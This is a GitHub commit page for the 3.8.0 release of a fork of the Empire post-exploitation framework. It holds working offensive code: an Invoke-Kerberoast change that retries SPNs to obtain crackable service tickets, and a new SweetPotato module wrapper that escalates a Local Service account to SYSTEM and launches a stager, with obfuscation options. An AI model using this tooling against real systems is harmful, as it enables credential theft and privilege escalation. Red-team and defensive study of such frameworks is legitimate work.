Skip to content

Commit

Permalink
Merge pull request #49 from BC-SECURITY/sponsors-dev
Browse files Browse the repository at this point in the history
3.8 Release
  • Loading branch information
vinnybod committed Mar 8, 2021
2 parents 1bf3d51 + 4736f65 commit a7245a1
Show file tree
Hide file tree
Showing 10 changed files with 204 additions and 28 deletions.
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.7.2
3.8.0
8 changes: 8 additions & 0 deletions changelog
Original file line number Diff line number Diff line change
@@ -1,3 +1,11 @@
3/7/2021
------------
- Version 3.8.0 Master Release
- Fix for literal comparison warnings in Python agent - #428 (@mattbogenberger)
- Add an Invoke-SweetPotato module - #433 (@Invoke-Mimikatz)
- Fix failed ticket generation in Invoke-Kerberoast - #434 (@Pen-Git)
- Add ability to specify the bind IP for RESTful API - #431 (@meldridge)

2/5/2021
------------
- Version 3.7.2 Master Release
Expand Down
4 changes: 2 additions & 2 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -356,9 +356,9 @@ def process_packet(packetType, data, resultID):
cmdargs = data

path = '/' # default to root
if cmdargs is not None and cmdargs is not '' and cmdargs is not '/': # strip trailing slash for uniformity
if cmdargs is not None and cmdargs != '' and cmdargs != '/': # strip trailing slash for uniformity
path = cmdargs.rstrip('/')
if path[0] is not '/': # always scan relative to root for uniformity
if path[0] != '/': # always scan relative to root for uniformity
path = '/{0}'.format(path)
if not os.path.isdir(path):
send_message(build_response_packet(43, 'Directory {} not found.'.format(path), resultID))
Expand Down
22 changes: 12 additions & 10 deletions data/module_source/credentials/Invoke-Kerberoast.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -595,16 +595,18 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$DistinguishedName = 'UNKNOWN'
}

# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}

try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
$Ticket = $null
# iterate SPNs until ticket could be requested successfully
foreach($spn in $UserSPN)
{
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
# exit loop on first successful ticket request
break
}
catch {
Write-Debug "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
Expand Down
51 changes: 51 additions & 0 deletions data/module_source/privesc/Invoke-SweetPotato.ps1

Large diffs are not rendered by default.

32 changes: 19 additions & 13 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -162,14 +162,15 @@ class MyJsonEncoder(JSONEncoder):
#
####################################################################

def start_restful_api(empireMenu: MainMenu, suppress=False, headless=False, username=None, password=None, port=1337):
def start_restful_api(empireMenu: MainMenu, suppress=False, headless=False, username=None, password=None, ip='0.0.0.0', port=1337):
"""
Kick off the RESTful API with the given parameters.
empireMenu - Main empire menu object
suppress - suppress most console output
username - optional username to use for the API, otherwise pulls from the empire.db config
password - optional password to use for the API, otherwise pulls from the empire.db config
ip - ip to bind the API to, defaults to 0.0.0.0
port - port to start the API on, defaults to 1337 ;)
"""
app = Flask(__name__)
Expand All @@ -187,7 +188,7 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, headless=False, user
main.users.update_password(1, password[0])

print('')
print(" * Starting Empire RESTful API on port: %s" % (port))
print(" * Starting Empire RESTful API on %s:%s" % (ip, port))

oldStdout = sys.stdout
if suppress:
Expand Down Expand Up @@ -1678,10 +1679,10 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, headless=False, user

context = ssl.SSLContext(proto)
context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
app.run(host=ip, port=int(port), ssl_context=context, threaded=True)


def start_sockets(empire_menu: MainMenu, port: int = 5000, suppress: bool = False):
def start_sockets(empire_menu: MainMenu, ip='0.0.0.0', port: int = 5000, suppress: bool = False):
app = Flask(__name__)
app.json_encoder = MyJsonEncoder
socketio = SocketIO(app, cors_allowed_origins="*", json=flask.json)
Expand Down Expand Up @@ -1787,7 +1788,7 @@ def start_sockets(empire_menu: MainMenu, port: int = 5000, suppress: bool = Fals
proto = ssl.PROTOCOL_TLS
context = ssl.SSLContext(proto)
context.load_cert_chain("{}/empire-chain.pem".format(cert_path), "{}/empire-priv.key".format(cert_path))
socketio.run(app, host='0.0.0.0', port=port, ssl_context=context)
socketio.run(app, host=ip, port=port, ssl_context=context)


if __name__ == '__main__':
Expand All @@ -1799,6 +1800,11 @@ if __name__ == '__main__':
else:
args.restport = args.restport[0]

if not args.restip:
args.restip = '0.0.0.0'
else:
args.restip = args.restip[0]

if not args.socketport:
args.socketport = '5000'
else:
Expand All @@ -1816,7 +1822,7 @@ if __name__ == '__main__':
main = empire.MainMenu(args=args)
def thread_websocket(empire_menu):
try:
start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
start_sockets(empire_menu=empire_menu, suppress=True, ip=args.restip, port=int(args.socketport))
except SystemExit as e:
pass

Expand All @@ -1827,7 +1833,7 @@ if __name__ == '__main__':

try:
start_restful_api(empireMenu=main, suppress=True, headless=True, username=args.username, password=args.password,
port=args.restport)
ip=args.restip, port=args.restport)
except SystemExit as e:
pass

Expand All @@ -1836,7 +1842,7 @@ if __name__ == '__main__':
main = empire.MainMenu(args=args)
def thread_websocket(empire_menu):
try:
start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
start_sockets(empire_menu=empire_menu, suppress=True, ip=args.restip, port=int(args.socketport))
except SystemExit as e:
pass

Expand All @@ -1847,7 +1853,7 @@ if __name__ == '__main__':

try:
start_restful_api(empireMenu=main, suppress=True, headless=True, username=args.username, password=args.password,
port=args.restport)
ip=args.restip, port=args.restport)
except SystemExit as e:
pass

Expand All @@ -1860,7 +1866,7 @@ if __name__ == '__main__':

try:
start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password,
port=args.restport)
ip=args.restip, port=args.restport)
except SystemExit as e:
pass

Expand All @@ -1872,7 +1878,7 @@ if __name__ == '__main__':

def thread_websocket(empire_menu):
try:
start_sockets(empire_menu=empire_menu, suppress=False, port=int(args.socketport))
start_sockets(empire_menu=empire_menu, suppress=False, ip=args.restip, port=int(args.socketport))
except SystemExit as e:
pass

Expand All @@ -1891,7 +1897,7 @@ if __name__ == '__main__':

try:
start_restful_api(empireMenu=empireMenu, suppress=True, username=args.username, password=args.password,
port=args.restport)
ip=args.restip, port=args.restport)
except SystemExit as e:
pass

Expand All @@ -1902,7 +1908,7 @@ if __name__ == '__main__':

def thread_websocket(empire_menu):
try:
start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
start_sockets(empire_menu=empire_menu, suppress=True, ip=args.restip, port=int(args.socketport))
except SystemExit as e:
pass

Expand Down
1 change: 1 addition & 0 deletions lib/arguments.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@
launchGroup.add_argument('--teamserver', action='store_true',
help='Run Empire Team Server with RESTful API and Socket Server.')
restGroup.add_argument('-n', '--notifications', action='store_true', help='Run the SocketIO notifications server.')
restGroup.add_argument('--restip', nargs=1, help='IP to bind the Empire RESTful API on. Defaults to 0.0.0.0')
restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on. Defaults to 1337')
restGroup.add_argument('--socketport', type=int, nargs=1, help='Port to run socketio on. Defaults to 5000')
restGroup.add_argument('--username', nargs=1,
Expand Down
2 changes: 1 addition & 1 deletion lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
from datetime import datetime, timezone
from flask_socketio import SocketIO

VERSION = "3.7.2 BC Security Fork"
VERSION = "3.8.0 BC Security Fork"

from pydispatch import dispatcher

Expand Down
108 changes: 108 additions & 0 deletions lib/modules/powershell/privesc/sweetpotato.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
from __future__ import print_function
from builtins import str
from builtins import object
from lib.common import helpers


class Module(object):

def __init__(self, mainMenu, params=[]):

self.info = {
'Name': 'Sweet Potato Local Service to SYSTEM Privilege Escalation',

'Author': ['@_EthicalChaos_ (@CCob)', '@kevin'],

'Description': 'Abuses default privileges given to Local Service accounts to spawn '
'a process as SYSTEM. Tested on Server 2019 and Windows 10 1909 (Build 18363.1316). '
'Run a Powershell stager or your own command.',

'Software': '',

'Techniques': ['T1068'],

'Background': False,

'OutputExtension': "",

'NeedsAdmin': False,

'OpsecSafe': False,

'Language': 'powershell',

'MinLanguageVersion': '5',

'Comments': ['https://github.com/CCob/SweetPotato']
}

self.options = {
'Agent': {
'Description': 'Agent to run on.',
'Required': True,
'Value': ''
},
'Binary': {
'Description': 'Full path to the process to spawn. Default: C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe',
'Required': False,
'Value': ''
},
'CommandArguments': {
'Description': 'Arguments to pass to the process binary. Default: No arguments',
'Required': False,
'Value': ''
},
'ListenPort': {
'Description': 'Port to host internal impersonation server on. Default: 6666',
'Required': False,
'Value': ''
},
'ExploitMethod': {
'Description': 'Exploit mode: [DCOM|WinRM|PrintSpoofer]. Default: PrintSpoofer',
'Required': False,
'Value': ''
}
}
self.mainMenu = mainMenu

if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value

def generate(self, obfuscate=False, obfuscationCommand=""):

moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-SweetPotato.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""

moduleCode = f.read()
f.close()

script = moduleCode
scriptEnd = "Invoke-SweetPotato"

for option, values in self.options.items():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
scriptEnd += " -" + str(option) + " " + str(values['Value'])
elif values['Value'].lower() == "false":
pass
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])

if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath,
obfuscationCommand=obfuscationCommand)
script += scriptEnd
script = helpers.keyword_obfuscation(script)

return script
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[tool.poetry]
name = "empire-bc-security-fork"
version = "3.7.0"
version = "3.8.0"
description = ""
authors = ["BC Security <[email protected]>"]
readme = "README.md"
Expand Down

0 comments on commit a7245a1

Please sign in to comment.